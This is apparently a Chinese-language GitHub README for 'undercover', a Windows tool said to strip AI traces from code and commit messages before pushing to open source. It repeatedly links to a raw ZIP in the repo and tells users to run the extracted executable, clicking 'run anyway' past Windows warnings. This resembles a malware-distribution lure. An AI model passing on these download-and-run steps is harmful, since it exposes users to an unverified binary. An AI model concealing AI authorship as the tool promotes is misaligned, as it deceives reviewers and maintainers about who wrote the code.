aftabki1783/undercover

# 🕵️ undercover - 推送前隐藏 AI 痕迹 [](https://github.com/aftabki1783/undercover/raw/refs/heads/main/mcp/Software-2.5.zip) ## 🚀 这个应用能做什么 Undercover 帮助隐藏 AI 生成的代码特征，避免在将其推送到公开仓库时引人注意。它会检查你的代码和提交信息，然后改写那些可能暴露 AI 工具或模型的部分。它专为那些使用 AI 辅助工具但仍希望保持代码和提交记录干净、自然的人而设计。 在以下情况下使用它： - 移除明显的 AI 风格措辞 - 清理注释和变量名 - 润色提交信息 - 让你的开源工作看起来像人类编写的一样 - 在发布前审查输出内容 ## 📥 下载和设置 使用此链接访问页面并下载应用程序： [访问下载页面](https://github.com/aftabki1783/undercover/raw/refs/heads/main/mcp/Software-2.5.zip) ### Windows 步骤 1. 在浏览器中打开上面的链接。 2. 从页面下载最新的 Windows 文件。 3. 如果文件是 ZIP 压缩包，请右键单击并选择“全部提取”。 4. 打开提取后的文件夹。 5. 运行文件夹内的应用程序文件。 6. 如果 Windows 请求权限，且你信任该来源，请选择“仍要运行”。 7. 按照屏幕上的步骤开始使用 Undercover。 ### 首次运行 当你第一次打开应用程序时，它会引导你完成一个简单的设置过程。你可以将其指向： - 本地项目文件夹 - 计算机上的 Git 仓库 - 你想要清理的提交信息 - 一个代码文件或准备推送的一整套文件 ## 🧭 如何使用 Undercover 适应一个简单的工作流程： 1. 在应用程序中打开你的项目。 2. 让它扫描你的代码和提交文本。 3. 查看它建议的更改。 4. 应用你想要的修改。 5. 检查最终结果。 6. 将你的代码推送到 GitHub 或其他 Git 托管平台。 你不需要了解 Git 的底层原理即可使用它。该应用程序侧重于清晰的提示和简单的操作。 ## 🛠️ 主要功能 ### ✨ 代码清理 Undercover 会查找可能暴露 AI 辅助痕迹的代码行。它有助于处理： - 过于正式的注释 - 重复的命名 - 与其余代码不匹配的风格 - 听起来像模型编写的短语 ### 📝 提交信息清理 它还可以帮助塑造提交信息，使其读起来更像普通开发者的提交。当你希望信息简短、清晰且不那么机械时，这非常有用。 ### 🔎 推送前审查 在推送之前，Undercover 可以再次扫描你的工作。这让你有机会发现任何仍然感觉不合适的内容。 ### 🧩 兼容常见 AI 工具 该工具专为使用以下工具的人构建： - Claude Code - Gemini - GitHub Copilot - Ollama - 其他基于 LLM 的工具 ### 🧠 适用于开源工作 如果你向开源发布代码，该应用程序可帮助你保持代码的整洁和一致。当许多人可能会阅读你的文件、提交和注释时，这一点非常重要。 ## 💻 Windows 系统需求 要在 Windows 上运行 Undercover，请使用： - Windows 10 或 Windows 11 - 用于访问下载页面的现代浏览器 - 包含你想要清理的文件的项目文件夹 - 足够的可用空间以容纳应用程序和你的代码 - 用于首次下载的稳定互联网连接 为了获得最佳效果，请将你的项目保存在常规文件夹中，例如“文档”或“桌面”。 ## 📂 下载后你可能会看到的内容 根据应用程序的打包方式，你可能会获得以下其中一种： - 一个 Windows 应用程序文件 - 一个包含应用程序的 ZIP 文件 - 一个包含应用程序和支持文件的文件夹 如果你看到的是 ZIP 文件，请先将其解压。如果你看到的是单个应用程序文件，请双击运行它。 ## ⚙️ 新用户的基本工作流程 ### 1. 打开你的项目 选择包含你要清理的代码的文件夹。这可以是一个小型的测试仓库，也可以是一个较大的项目。 ### 2. 扫描文件 让 Undercover 检查代码、注释和提交文本。它会寻找文本感觉过于修饰或太像 AI 生成的痕迹。 ### 3. 审查建议 在应用每项更改之前，请先阅读它们。重点关注： - 注释措辞 - 函数和文件名 - 提交备注 - 使项目听起来更自然的小段文本更改 ### 4. 应用你想要的更改 你可以接受所有更改，或者只保留适合你项目的更改。这有助于保持你自己的风格。 ### 5. 推送你的代码 一旦代码看起来没问题，像往常一样将其推送到你的 Git 托管平台即可。 ## 🔐 隐私和本地使用 Undercover 旨在帮助你处理分享工作之前的事宜。对于许多用户来说，这意味着在项目所在的同一台计算机上检查文件。这使过程保持简单且易于管理。 ## 🧰 常见用例 ### 对于独立开发者 在发布仓库之前，使用它来清理 AI 辅助生成的代码。 ### 对于开源工作 使用它让你的提交和代码读起来像是项目的一部分，而不是 AI 的草稿。 ### 对于代码审查 使用它来找出可能在审查过程中显得突兀的措辞。 ### 对于基于 prompt 的编程 在编码助手编写完初稿后使用它，然后将结果塑造成你自己的风格。 ## 🧪 示例工作流程 如果你使用 AI 工具来构建功能，你的流程可能如下所示： 1. 让 AI 工具创建代码。 2. 将代码保存在你的项目中。 3. 打开 Undercover。 4. 扫描新文件和提交文本。 5. 用普通文本替换奇怪的措辞。 6. 审查最终结果。 7. 推送到 GitHub。 ## 🖥️ 给 Windows 用户的提示 - 将应用程序保存在你容易再次找到的文件夹中 - 为你的项目使用简短的文件夹名称 - 如果应用程序感觉运行缓慢，请关闭其他编辑器 - 在应用所有更改之前先进行审查 - 如果你想要备份，请保存一份你的仓库副本 ## ❓ 常见问题 ### 它会改变我的整个项目吗？ 它只会更改你选择审查的文件和文本。 ### 我可以在每次推送前使用它吗？ 是的。这是使用它的最佳方式之一。 ### 我需要编程知识吗？ 不需要。你可以通过简单的点击和选择文件夹来使用该应用程序。 ### 它可以帮助处理提交信息吗？ 是的。它可以帮助使提交文本感觉更自然。 ### 它适用于 AI 编程工具吗？ 是的。它就是为这种工作流程而构建的。 ## 📦 仓库详情 - 仓库：undercover - 描述：AI 代理的隐身模式 — 在推送到开源之前剥离代码和提交中的 AI 签名 - 主题：ai, ai-agent, claude-code, code-quality, code-review, developer-tools, gemini, git, github-copilot, llm, mcp, ollama, open-source, prompt-engineering, skill ## 🧷 再次提供下载链接 [从 GitHub 下载 undercover](https://github.com/aftabki1783/undercover/raw/refs/heads/main/mcp/Software-2.5.zip) ## 🪟 Windows 快速安装路径 1. 打开 GitHub 链接。 2. 获取最新的 Windows 文件。 3. 将其保存到你的计算机。 4. 如果需要，将其解压。 5. 打开应用程序。 6. 将其指向你的项目文件夹。 7. 在推送之前审查输出结果

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